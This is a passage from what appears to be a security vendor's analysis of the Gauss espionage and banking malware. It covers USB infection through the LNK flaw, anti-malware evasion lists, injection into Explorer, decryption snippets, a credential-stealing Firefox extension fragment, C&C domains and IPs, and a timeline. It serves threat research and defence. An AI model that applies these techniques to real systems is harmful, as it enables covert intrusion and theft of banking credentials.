presence of anti-malware software. ValidateEntry signals the {12258790-A76B} event, allowing for the main thread to work for 3 seconds before terminating Writes log file: %temp%\~gdl.tmp The log file entries are compressed with Zlib. Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum Checks for running anti-malware products by names and exits if they are present: AVKProxy.exe abcd.exe fsgk32.exe fsorsp.exe vsmon.exe AVKService.exe avp.exe fsgk32st.exe fspc.exe zapro.exe AVKTray.exe fameh32.exe fsguidll.exe fsqh.exe zlclient.exe AVKWCtl.exe fch32.exe fshdll32.exe fssm32.exe GDFirewallTray.exe fsar32.exe fsm32.exe fsus.exe GDFwSvc.exe fsav32.exe fsma32.exe gsava.exe GDScan.exe fsdfwd.exe fsmb32.exe gssm32.exe It also exits if started on Windows 7 SP 1. By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching USBSTOR string in their information. When a drive contains .thumbs.db file, its contents are read and checked for the valid magic number 0xEB397F2B. If it matches, the module creates %commonprogramfiles%\system\wabdat.dat and writes the data to this file, and then deletes .thumbs.db Then, it infects the USB drives by creating directories with the names .Backup0[D-M] and .Backup00[D-M] Infected USB root folder (before activation) Each directory contains a specially crafted desktop.ini file and target.lnk file that exploits the LNK vulnerability. target.lnk [.ShellClassInfo] CLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} CLSID2 = {0AFACED1-E828-11D1-9187-B532F1E9575D} UICLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D} desktop.ini Listing of .Backup0* directory In the root directory of the drive it creates files System32.dat and System32.bin , the payload DLLs, and the .thumbs.db file. The payloads are stored as resources and encrypted with a simple XOR routine. static int decrypt(uint8_t *data, unsigned int dataLen) uint32_t acc = 0xCC; for ( unsigned int i = 0; i < dataLen; i++ ) uint8_t acc2 = data[i]; data[i] ^= acc; acc = acc2; return 0; Resource File name Description System32.dat (.CatRoot.tmp) 32-bit payload System32.bin (.CatRoot.tmp) 64-bit payload USB Payload Both 32-bit and 64-bit DLLs implement the same functionality. When loaded using the LNK vulnerability, they start a main thread and return. The main thread copies the payload to %TEMP% directory and loads itself again. When loaded from %TEMP%, it creates a mutex Isvp4003ltrEvent , patches the NtQueryDirectoryFile function in ntdll.dll so that it hides its files and then sends the key event to windows of classes SysListView32 SysTreeView32 DirectUIHWND , causing Explorer directory listings to refresh. This hides the files. It also waits for the event Global\RasSrvReady Then, it retrieves the following data from the system: Version of the Windows OS Workstation info Network adapter information Routing table Process list Environment variables and disk information List of visible network shares Network proxy information List of visible MS SQL servers URL cache All this information is encoded and appended to the file .thumbs.db on the infected storage. This file also contains a TTL (time to live) value that is decremented by 1 each time the payload starts from the infected storage. When this counter becomes equal to zero, the payload disinfects the media by removing .Backup0* directories and System32.dat and System32.bin files, leaving .thumbs.db file with collected information. Known value of the TTL value is There are several special versions of the payload. They contain additional PE sections with names .exsdat, .exrdat, and .exdat . These sections are encrypted with RC4. The encryption key is derived from an MD5 hash performed 10000 times on a combination of %PATH% environment string and name of the directory in %PROGRAMFILES%. The RC4 key is not yet known, neither is the contents of these sections. The payload also contains a binary resource 100 that is also encrypted. thumbs.db file This is a container for data stolen by the dskapi payload. Offset Data Magic number : 0xEB397F2B TTL counter Encoded data The encoded data consists of arrays of encoded strings, separated by a magic value 0xFF875686. Offset Description Magic number : 0xFF875686 end of array of records, must search for the next Magic 0xFF875683 XOR ( recordLength + 5 ) start of record Encrypted string data, recordLength bytes Every record is encrypted by a simple algorithm using the character s position and record length and can be decrypted with the following code: for ( unsigned int j = 0; j < recordLen; j++ ) ptr[i + j] ^= recordLen; ptr[i + j] -= j; File Version: 5.1.3700.0 File OS: NT (WINDOWS32) Product Version: File Type: File SubType: 5.1.3700.0 DRV SOUND File Date: 00:00:00 CompanyName: Microsoft Corporation Language/Code Page: 1033/1200 FileDescription: 00/00/0000 Disk Helper FileVersion: 5.1.3700.0 LegalCopyright: Microsoft Corporation. All rights reserved. ProductName: Microsoft Windows Operating System InternalName: OriginalFilename: ProductVersion: dskapi.ocx dskapi.ocx 5.1.3700.0 Version info dskapi.ocx Smdk.ocx Name of the module used in Gauss: UsbDir File names %system32%\smdk.ocx Some known MD5 5604A86CE596A239DD5B232AE32E02C6 90F5C45420C295C73067AF44028CE0DD 212 992 bytes Image Size Date of compilation 27.09.2011 17.10.2011 %temp%\~mdk.tmp Related files Creates events: {B336C220-B158} Global\SmSrvReady All functionality is implemented in RevertCache export. The module starts its main thread and then returns. The main thread waits for the {B336C220-B158} event and continuously checks for the presence of anti-malware software. ValidateEntry signals the {B336C220-B158} event, allowing for the disk enumeration routine to start. Writes log file: %temp%\~mdk.tmp Reads registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum Checks for running antimalware products by names and exits if they are present: AVKProxy.exe abcd.exe fsgk32.exe fsorsp.exe AVKService.exe avp.exe fsgk32st.exe fspc.exe AVKTray.exe fameh32.exe fsguidll.exe fsqh.exe AVKWCtl.exe fch32.exe fshdll32.exe fssm32.exe GDFirewallTray.exe fsar32.exe fsm32.exe fsus.exe GDFwSvc.exe fsav32.exe fsma32.exe gsava.exe GDScan.exe fsdfwd.exe fsmb32.exe gssm32.exe The version of the module built on 27.09.2011 also exits if started on Windows 7 SP 1. By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching USBSTOR string in their information. The log file entries are compressed with Zlib. File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: Microsoft Windows Operating System ProductVersion: 5.1.3700.0 Version info smdk.ocx (the same as in dskapi.ocx) McDmn.ocx Name of the module used in Gauss: McDomain File names %system32%\mcdmn.ocx known MD5 9CA4A49135BCCDB09931CF0DBE25B5A9 Image Size 102 400 bytes Date of compilation 16.09.2011 Related files %temp%\md.bak This module is a Windows DLL file with one exported function called DllRegisterServer. It creates log file: %temp%\md.bak that is encrypted with 2-byte XOR. Uses LsaQueryInformationPolicy to retrieve the name of the primary domain. Retrieves information about network adapters. All this information is encrypted and stored in the log file. File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows File Extension FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Micro soft Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft Windows Operating System ProductVersion: 05.01.2600.5788 Version info mcdmn.ocx Lanhlp32.ocx Name of the module used in Gauss: Tailor File names %system32%\lanhlp32.ocx Known MD5 ED2B439708F204666370337AF2A9E18F Image Size 278 528 bytes Date of compilation 26.10.2011 Related files %systemroot%\Temp\s61cs3.dat The module is a Windows DLL file with one exported function called DllRegisterServer. It contains encrypted debug information that includes the location of the project, d:\projects\tailor\ d:\projects\tailor\utils\Exceptions.h ..\Utils\Buffer.cpp ..\Utils\CryptUtils.cpp ..\Utils\Event.cpp ..\Utils\EveryoneSecurityAttributes.cpp ..\Utils\File.cpp ..\Utils\Mutex.cpp ..\Utils\MyWlanApi.cpp ..\Utils\OsUtils.cpp ..\Utils\RemoteMemoryBuffer.cpp ..\Utils\Storage.cpp ..\Utils\StringUtils.cpp ..\Utils\Waiter.cpp .\SavedWNetworkConnectionsWin5.cpp .\SavedWNetworkConnectionsWin6.cpp .\VisibleNetworks.cpp Creates mutex : Global\EnvDBE Creates log file: %systemroot%\Temp\s61cs3.dat Operates on Windows XP, Windows Vista and Windows 7. On Windows XP: .\SavedWNetworkConnectionsWin5.cpp Enumerates registry keys in HKLM\SOFTWARE\Microsoft\WZCSVC\Parameters\Interfaces\ Extracts Static# values that contain wireless key data. On Windows Vista and Windows 7 : ..\Utils\MyWlanApi.cpp .\SavedWNetworkConnectionsWin6.cpp .\VisibleNetworks.cpp Uses extended wlanapi.dll API to access WLAN information. Enumerates available wireless interfaces, then enumerates all profiles and extracts SSID, name and wireless key information. Then, it retrieves the list of wireless networks visible to all the wireless interfaces. The log file is encrypted with a simple 1-byte XOR. File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows LAN Component FileVersion: 5.1.3700.0 InternalName: lanhlp32.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: lanhlp32.ocx ProductName: Microsoft Windows Operating System ProductVersion: 5.1.3700.0 Version info lanhlp32.ocx Devwiz.ocx Name of the module used in Gauss: Cosmos File names %system32%\devwiz.ocx Known MD5 CBB982032AED60B133225A2715D94458 Image Size 102 400 bytes Date of compilation 19.03.2012 Related files %temp%\~ZM6AD3.tmp The module is a Windows DLL file with one exported function called RefreshDev. It creates log file : %WINDIR%\temp\~ZM6AD3.tmp The log file is not encrypted and starts with a magic number 0xF68B973D The module collects the following information and writes it to the log file : CMOS RAM contents Registry keys : [ HKLM\HARDWARE\DESCRIPTION\System ] SystemBiosVersion,SystemBiosDate [ HARDWARE\DESCRIPTION\System\BIOS ] BIOSVendor, BIOSVersion, BIOSReleaseDate, BaseBoardManufacturer, BaseBoardProduct, BaseBoardVersion, SystemFamily, SystemManufacturer, SystemProductName, SystemSKU, SystemVersion All retrieved information is written to the log file. File Version: 5.1.2600.0 Product Version: 5.1.2600.0 File OS: NT (WINDOWS32) File Type: File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows Device Wizard FileVersion: 5.1.2600.0 InternalName: devwiz.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: devwiz.ocx ProductName: Microsoft Windows Operating System ProductVersion: 5.1.2600.0 Version info devwiz.ocx Winshell.ocx Name of the module used in Gauss: Gauss File names %system32%\winshell.ocx Some known MD5 EF6451FDE3751F698B49C8D4975A58B5 7AC2799B5337B4BE54E5D5B03B214572 4FB4D2EB303160C5F419CEC2E9F57850 Image Size Number of resources 405 504 (August 2011) 417 792 (October 2011) 401 408 (Dec 2011 - Jan 2012) Resources 121,122,123,124,125,126 Date of compilation 08.08.2011 03.10.2011 14.12.2011 05.01.2012 Related files %temp%\ws1bin.dat browser.js browser.xul fileio.js chrome.manifest lppd.dat install.rdf rssf.dat lfm.dat mppd.dat pddp.dat Creates events: Global\SrvReportCondition Global\DhwSyncEvent Global\ShellSync Interestingly, all three variants of the module that we have analyzed contain information about the location and names of the original projects: Variant Path to project files August 2011 d:\projects\gauss October 2011 d:\projects\gauss_for_macis_2 Dec 2011-Jan 2012 c:\documents and settings\flamer\desktop\gauss_white_1 Contains encrypted debug information that includes the location and files of the project: c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\ Exceptions.h .\main.cpp .\Manager.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\utils\SmartPtr.h .\Injector.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\gauss\../Utils/ComUtils.h .\History.cpp .\FirefoxPluginInstaller.cpp .\Telemetry.cpp .\Storage.cpp .\OsUtils.cpp .\ProcessSnapshot.cpp .\Event.cpp .\GaussThread.cpp .\Buffer.cpp .\RemoteMemoryBuffer.cpp .\File.cpp .\Mutex.cpp .\Waiter.cpp .\EveryoneSecurityAttributes.cpp .\Catcher.cpp .\BrowserConnector.cpp c:\documents and settings\flamer\desktop\gauss _ white _ 1\minime\../Utils/SmartPtr.h .\Assigner.cpp .\IEAbstractElements.cpp .\FormExtractor.cpp .\COMAbstractDataTypes.cpp The debug information which was accidentally forgotten by the developers provides some interesting details. For instance, the Windows username which compiled the project can be seen in the strings above as flamer DllMain starts a thread only if loaded by explorer.exe Writes log file: %systemroot%\Temp\ws1bin.dat. Log file starts with magic number 0x0A86FD375, encrypted with 1-byte XOR 0x46. Log file writer is guarded by mutex Global\ShellSyncCom Reads registry key : SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability ShutdownInterval = binary data Checks Windows version and, onWindows Vista and Windows 7, it accesses %SystemDrive%\Users. On earlier versions, it uses %SystemDrive%\Documents and settings and gets list of directories there. Export InitShellEx : Enumerates all entries in HKEY _ USERS, removes all entries in SOFTWARE\Mozilla\Mozilla\Firefox for each user, searches for its log ws1bin.dat and removes it. Export SetWindowEvent : set event Global\DhwSyncEvent , wait for other thread to exit in 20 seconds, then terminate that thread. Export ShellNotifyUser : returns 1 Export ShellNotifyUserEx : main export. Starts its main thread that should be monitored by the event SetWindowEvent and returns. Lists running processes and returns if evil.exe is running. Additionally logs the presence of the following registry keys : HKLM\SOFTWARE\KasperskyLab\AVP6 HKLM\SOFTWARE\KasperskyLab\ protected\AVP7 Then it starts a loop searching for running instances of %systemroot%\explorer.exe. If found, it injects %systemroot%\system32\winshell.ocx (own body) into that process. It uses an interesting technique to inject itself into Explorer: it creates a remote thread with the address of LoadLibraryW API as its start address. The path to its ocx file is passed to the function as lpParameter Telemetry: It retrieves and logs the following: Computer name Windows OS version List of running processes List of directories in %PROGRAMFILES% Version of Internet Explorer browser Primary domain name Network adapter information Searches for Cookies directory, retrieves all cookie files and writes their contents into its log. Searches for cookies that contain the following strings: paypal blombank facebook mastercard byblosbank gmail eurocard citibank hotmail visa fransabank ebay americanexpress yahoo maktoob bankofbeirut creditlibanais eblf amazon Then, it retrieves Internet Explorer browsing history using IUrlHistoryStg::EnumUrls function, and tries to extract password and text fields from loaded pages. The Firefox plugin is written in several files, all of them are extracted and decrypted from the resources of the module. Resource Id File name of the Firefox Plugin component browser.js browser.xul fileio.js chrome.manifest lppd.dat install.rdf Appends Firefox configuration file prefs.js with the following string, disabling Firefox select your add-ons window that is usually shown after each Firefox update: user _ pref( extensions.shownSelectionUI , true); Installs the Firefox extension, on Windows Vista and Windows 7 into AppData\Roaming\Mozilla\Firefox\Profiles, on earlier versions into Application Data\Mozilla\Firefox\Profiles. All files are written in a directory named {a288cad4-7b24-43f8-9f4d-8e156305a8bc} The Firefox extension extracts the following data: Browsing history Passwords (saved and entered by the user) Cookies. The extension can be configured to look only for cookies of Google, Hotmail, Facebook, Yahoo const Cc = Components.classes; const Ci = Components.interfaces; const EXTENSION _ ID = {a288cad4-7b24-43f8-9f4d-8e156305a8bc} const EXTENSION _ PATH = DirIO.get( ProfD ).path+ \\extensions\\ EXTENSION _ ID; const QUERY _ ID = YlU/X1gFa2Isb1YkcFMnP18u`1kkb1goYFUO akAgY1ULa1EjYlU/X1gPXWMyc18xYGM0b1UxalEsYVYgX1Uha18q dVEna18lYWQi`Dgob2QubmklYWQi`DEjYGIkb2MvXWMyc18xY FwoclUl`WgPblUlb/oSY18uY1wk`FkjYT8tRV4ocFYkcFMnPVwr P18u`1kkb2gublk/ const EXTENSION _ URL = about:addons const EXTENSION _ XUL = chrome://mozapps/content/extensions/ extensions.xul const ERROR _ FILE = rssf.dat const LOG _ FILE = lfm.dat const OUTPUT _ FILE = mppd.dat const VERSION _ FILE = lddp.dat const MAX _ FILE _ SIZE = Math.pow(2,20)*10; const MEAN _ ROW _ SIZE = 100; const MAX _ ROW _ COUNT = (1/3)*(MAX _ FILE _ SIZE/MEAN _ ROW _ SIZE); Part of browser.js code The Firefox extension writes several log files in its directory: Log file name Description rssf.dat Browsing history lfm.dat Log file mppd.dat Collected passwords pddp.dat Collected cookies File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows Shell Component FileVersion: 5.1.3700.0 InternalName: winshell.ocx LegalCopyright: Microsoft Corporation. All rights reserved. OriginalFilename: winshell.ocx ProductName: Microsoft Windows Operating System ProductVersion: 5.1.3700.0 Version info winshell.ocx Windig.ocx Name of the module used in Gauss: Lagrange File names %system32%\windig.ocx Known MD5 DE2D0D6C340C75EB415F726338835125 Image Size 180 224 bytes Date of compilation 15.07.2011 Related files Fonts\ pldnrfn.ttf The module is a Windows DLL file with one exported function called GlobalDeleteAtomL. The module reads the registry key that is originally created by ShellHW module : HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability ShutdownInterval = binary data If the value is not present in the registry, it writes a random value into that key. Then, it creates a new TrueType font file %SystemRoot%\fonts\pldnrfn.ttf (62 668 bytes long) from a template and using randomized data from the ShutdownInterval key. The creation time of the font file is set to the creation time of the Arial font, %SystemRoot%\fonts\ARIAL.TTF. Then, a custom font named Palida Narrow is registered in the system font storage using the AddFontResourceW API function. The module also creates a registry value: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts Palida Narrow (TrueType)=pldnrfn.ttf The purpose of the addition of this font is not yet known. It appears to contain valid Western, Baltic and Turkish symbols. Font information from Font Viewer File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WIN32 Digital Library FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: Microsoft Windows Operating System ProductVersion: 05.01.2600.5788 Version info windig.ocx Gauss C&C Information To upload data stolen from infected machines, Gauss uses a number of command-and-control servers predefined in its flexible configuration. Figure 1 - Gauss encrypted C&C information data Here s a look at the decrypted configuration data: Figure 2 - Gauss decrypted C&C configuration data In the example above, we can see the C&C domains/hosts together with the name of the script (userhome.php) on the server which is used for communication. Going through the multitude of Gauss samples, we identified several domains used as C&C servers: *.gowin7.com *.secuurity.net *.datajunction.org *.bestcomputeradvisor.com *.dotnetadvisor.info *.guest-access.net Wmiqry.ocx 01.06.2011 dotnetadvisor.info bestcomputeradvisor.info 16.07.2011 *.bestcomputeradvisor.info *.guest-access.net 18.07.2011 *.bestcomputeradvisor.info *.guest-access.net 28.09.2011 *.gowin7.com *.secuurity.net 20.10.2011 *.datajunction.org *.dotnetadvisor.info 20.10.2011 *.gowin7.com *.secuurity.net datajunction.org guest-access.net Depending on the variant, * can be or or and so on.For instance, a fully qualified hostname as in the example above is b.gowin7.com Most samples we have use *.gowin7.com and *.secuurity.net . The domains gowin7.com and secuurity.net have been registered by an Adolph Dybevek, which is most likely a fake identity: owner-name: Adolph Dybevek owner-address: Prinsen gate 6 owner-city: Oslo admin-address: Prinsen gate 6 ICANN Registrar: UNITED-DOMAINS AG Created: 2012-03-15 Expires: 2013-03-15 Updated: 2012-03-15 As in the case of Flame these domain registration addresses point to existing businesses. For example, at Prinsens Gate 6 in Olso, we find a hotel in Norway: Similarly, many of Flame C&D domain fake registrations used addresses of hotels. During the period of monitoring, we observed these two main domains pointing to two different servers in India and Portugal. Based on passive DNS research, we identified three other servers, located in the US which appear to have been used as C&C. The hosts gowin7.com and secuurity.net pointed to the following IP addresses: Date Domain 2012-06-28 23:05:35 b.gowin7.com 109.71.45.115 2012-06-29 07:05:28 (changed) b.gowin7.com 182.18.166.116 2012-06-28 23:05:38 b.secuurity.net 109.71.45.115 2012-06-29 07:05:29 (changed) b.secuurity.net 182.18.166.116 On 29th of June, 2012, the two C&C domains gowin7.com and secuurity.net were changed from IP 109.71.45.115 to a new IP 182.18.166.116. Both servers were shut down around July 13th, 2012. Prior to shut down, we managed to collect important information. Both appeared to be running Debian Linux, which is consistent with the Flame C&C servers. They were listening on ports 22, 80 and 443. The SSL certificates were self-signed, once again, the same as in the case of Flame. Here s the certificate for the server in Portugal: If we are to believe the information in the certificate, it was generated on 17 Feb 2012. The server at 182.18.166.116 (India) appears to currently host two other related domains: bestcomputeradvisor.com dotnetadvisor.info Both have been registered by somebody named Gilles Renaud, probably another fake identity: Registrant: Gilles Renaud Neugasse 10 Zurich, Zurich 8005 They were previously hosted in the US, at the IPs: 173.204.235.204 and 173.204.235.196. We currently have seen samples which used {e,g,h}.bestcomputeradvisor.com and c.dotnetadvisor.info for command-andcontrol. It s quite possible that other samples exist pointing to different hosts. The additional domains datajunction.org and guest-access.net can be found in some samples and it is also used for C&C communications. We currently have samples which use c.datajunction.org and d.datajunction.org but there are probably others using and Both have been registered by somebody named Peter Kulmann, probably another fake identity: Registrant Name:Peter Kulmann Registrant Street1:Antala Staska 1301/19 Registrant Street2: Registrant Street3: Registrant City:Prague Registrant State/Province: Registrant Postal Code:14000 Registrant Country:CZ The address Antala Staska 1301/19 appears once again to be fake pointing to a supermarket/pharmacy in Prague: Currently (as of August 2012), all the *.datajunction.org hosts point to the C&C server in India. Previously, they pointed to the server in Portugal. Just like the others, they were previously hosted in US. In addition to these, we identified another domain named dataspotlight.net which was hosted on the same servers. The registrant is unknown and we couldn t find any samples using it, however, it is probably related to the others. Gauss C2 Domains Overview: In total, we have identified 7 domains used or related to the Gauss malware: Domain Registered by Currently hosted Previously hosted Older hosted: gowin7.com Adolph Dybevek India Portugal secuurity.net Adolph Dybevek India Portugal datajunction.org Peter Kulmann India Portugal bestcomputeradvisor.com Gilles Renaud India Portugal dotnetadvisor.info Gilles Renaud India Portugal dataspotlight.net UNKNOWN India Portugal UNKNOWN guest-access.net Peter Kulmann Domain registration history: Domain Registration date bestcomputeradvisor.com, dotnetadvisor.info 22 July 2011 datajunction.org. guest-access.net 26 July 2011 gowin7.com, secuurity.net 15 March 2012 dataspotlight.net 18 April 2012 As can be seen from the table above, four domains were created in 2011 and were used in older samples. The newer samples use gowin7.com and secuurity.net , which were registered on March 15th, 2012. Known Gauss C2 server IPs: Server Location 182.18.166.116 India, Hyderabad 109.71.45.115 Portugal, Constancia 173.204.235.204 United States, San Francisco 173.204.235.196 United States, San Francisco 173.204.235.201 United States, San Francisco Here s a comparison of the Flame and Gauss C2 infrastructure: Flame Gauss VPS running Debian Linux VPS running Debian Linux SSH, HTTP, HTTPS SSH, HTTP, HTTPS SSL certificate localhost.localdomain self signed localhost.localdomain self signed Registrant info Fake names Fake names Address of registrants Hotels, shops Hotels, shops C2 traffic protocol HTTPS HTTPS C2 traffic encryption None XOR 0xACDC cgi-bin/counter.cgi, common/index.php userhome.php Number of C2 domains ~100 Number of fake identities used to register domains Hosting Services available C2 script names DNS Balancing For some of the C2 s, the controllers used a technique known as DNS balancing or Round robin DNS (http://en.wikipedia. org/wiki/Round-robin_DNS) probably to even the load. This is a common technique in the case of massive traffic to a website, suggesting that at their peak, the Gauss C2 s were handling quite a lot of data. Here s one such example of DNS balancing: ;;QUESTION SECTION: ;DATAJUNCTION.ORG. ;;ANSWER SECTION: DATAJUNCTION.ORG. 182.18.166.116 DATAJUNCTION.ORG. 3600 173.204.235.204 DATAJUNCTION.ORG. 109.71.45.115 As it can be seen, the domain datajunction.org resolves to three different IPs: 182.18.166.116, 173.204.235.204 and 109.71.45.115. Timeline We tried to put together all the date-of-creation information for the different Gauss modules, as well as those for Flame and Duqu. Since no Gauss modules created before 2011 have been found, the table below does not include earlier data for Flame and Duqu modules. Module name (2011) advnetcfg.2 nteps32.2 authpack.1 mssecmgr.7 mssecmgr.9 msglu32.1 wmiqry32.1 dskapi.32 res.1 dskapi.64 res windig.1 wmiqry32.2 wmiqry32.3 winshell.1 mssecmgr.8 mcdmn.1 smdk.1 dskapi.1 wmiqry32.4 winshell.2 msglu32.2 dskapi.2 smdk.2 igdkmd16b.sys wmiqry32.5 lanhlp32.1 dskapi.3 soapr32.1 dskapi.4 dskapi.32 res.2 winshell.3 Date of creation 11.01.2011 11.01.2011 23.01.2011 17.02.2011 21.03.2011 29.03.2011 01.06.2011 30.06.2011 30.06.2011 15.07.2011 16.07.2011 18.07.2011 08.08.2011 31.08.2011 16.09.2011 27.09.2011 28.09.2011 28.09.2011 03.10.2011 10.10.2011 13.10.2011 17.10.2011 17.10.2011 20.10.2011 26.10.2011 01.11.2011 27.11.2011 29.11.2011 29.11.2011 14.12.2011 Malware Flame Flame Flame Flame Flame Flame Gauss Gauss Gauss Gauss Gauss Gauss Gauss Flame Gauss Gauss Gauss Gauss Gauss Flame Gauss Gauss Duqu Gauss Gauss Gauss Flame Gauss Gauss Gauss Module name (2012) winshell.4 mcd9x86.sys devwiz.1 browse32.ocx Date of creation 05.01.2012 23.02.2012 19.03.2012 09.05.2012 Malware Gauss Duqu Gauss Flame Files list We have put together the names of all modules, temporary files, log files and data files used by Gauss in one way or another and that are known to us. Main modules Path wmiqry32.dll %system%\wbem wmihlp32.dll %system%\wbem dskapi.ocx %system% winshell.ocx %system% devwiz.ocx %system% lanhlp32.ocx %system% mcdmn.ocx %system% smdk.ocx %system% windig.ocx %system% system32.bin root folder USB drive system32.dat root folder USB drive .CatRoot.tmp root folder USB drive Data files and folders ~shw.tmp %temp% ~stm.tmp %temp% ws1bin.dat %windir%\Temp ws1bin.dat %temp% ~gdl.tmp %temp% ~mdk.tmp %temp% .thumbs.db root folder USB drive wabdat.dat %temp% desktop.ini inside folders on USB drive target.lnk inside folders on USB drive .Backup0[D-M] directory on USB drive .Backup00[D-M] directory on USB drive md.bak %temp% s61cs3.dat %systemroot%\Temp\ s61cs3.dat %temp% ~ZM6AD3.tmp browser.js Path %windir%\temp %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad47b2443f89f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} browser.xul fileio.js chrome.manifest lppd.dat install.rdf rssf.dat lfm.dat mppd.dat pddp.dat pldnrfn.ttf %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %AppData%\Roaming\Mozilla\Firefox\Profiles\*\{a288cad4-7b2443f8-9f4d-8e156305a8bc} %AppData%\Mozilla\Firefox\Profiles\*\{a288cad4-7b24-43f89f4d-8e156305a8bc} %SystemRoot%\fonts\ Conclusion Gauss is the most recent development from the pool of cyber-espionage projects that includes Stuxnet, Flame and Duqu. It was most likely created in mid-2011 and deployed for the first time in August-September 2011. Its geographical distribution is unique; the majority of infections were found in Lebanon, Palestine and Israel. One of the modules from Jan 2012 contains the path c:\documents and settings\flamer\desktop\gauss_white_1 . The flamer in the path above is the Windows username that compiled the project. Given the focus on Lebanon, the white version identifier can probably be explained as following: the name Lebanon comes from the Semitic root LBN, meaning white , likely a reference to the snow-capped Mount Lebanon. (Wikipedia) Code references and encryption subroutines, together with the Command and Control infrastructure make us believe Gauss was created by the same factory which produced Flame. This indicates it is most likely a nation-state sponsored operation. Between Gauss functions, the Winshell.ocx module which gives the name to the malware as Gauss , steals credentials required to access online banking accounts for several Lebanese banks including the Bank of Beirut, Byblos Bank and Fransabank. This is the first publicly known nation-state sponsored banking Trojan. Another feature which makes Gauss unique is its encrypted payload, which we haven t been able to unlock. The payload is run by infected USB sticks and is designed to surgically target a certain system (or systems) which have a specific program installed. One can only speculate on the purpose of this mysterious payload. The discovery of Gauss indicates that there are probably many other related cyber-espionage malware in operation. The current tensions in the Middle East are just signs of the intensity of these ongoing cyber-war and cyber-espionage campaigns. sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks v1.05 (May 31, 2012) s a live document modified all the time Technical Report Laboratory of Cryptography and System Security (CrySyS Lab) http://www.crysys.hu/ Budapest University of Technology and Economics Department of Telecommunications http://www.bme.hu/ This report contains information provided by anonymous parties and hence references were edited to preserve their anonymity Authors: sKyWIper Analysis Team Findings in brief In May 2012, our team participated in the analysis of an as yet unknown malware, which we internally call sKyWIper. Based on the information initially received, we understood that the malware is an important piece of a targeted attack. When we started the analysis, we did not know how many countries were affected, but we suspected that it was not limited to a single country. Our suspicion was based on indications that pieces of the malware was probably identified and uploaded from European parties onto binary analysis sites in the past. During the investigation, we received information about systems infected by sKyWIper in other countries, including Hungary, our home country. 